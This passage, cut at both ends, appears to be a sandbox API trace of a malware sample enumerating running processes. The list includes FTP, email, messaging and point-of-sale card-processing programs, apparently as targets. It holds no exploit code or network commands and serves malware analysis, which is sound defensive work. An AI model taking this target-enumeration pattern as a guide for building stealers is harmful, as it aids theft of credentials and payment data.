th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.034] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.036] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.038] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.039] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.041] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.044] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.046] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.048] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.050] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.053] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.055] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.057] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.059] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.061] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.063] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.065] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.067] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.069] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.072] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.074] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.076] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.078] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.080] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.082] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.084] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.086] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.089] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.092] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.093] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.095] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.098] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.099] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.101] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0233.103] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0233.105] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0233.107] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0233.109] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0233.111] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0233.112] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0233.114] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0233.116] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0233.118] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.120] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.121] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.123] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.125] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0233.127] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.129] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0233.131] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0233.132] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0233.189] CloseHandle (hObject=0x2064) returned 1 [0233.189] Sleep (dwMilliseconds=0x64) [0233.198] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0233.212] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.214] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.215] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.218] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.221] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.230] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.232] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.234] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.235] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.237] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.241] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.242] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.244] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.246] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.248] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.249] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.251] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.253] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.255] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.256] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.258] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.259] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.261] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.264] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.266] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0233.268] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0233.269] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.271] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.272] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.274] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.276] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.278] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.279] Process32Next (in: hSnapshot=0x2064, 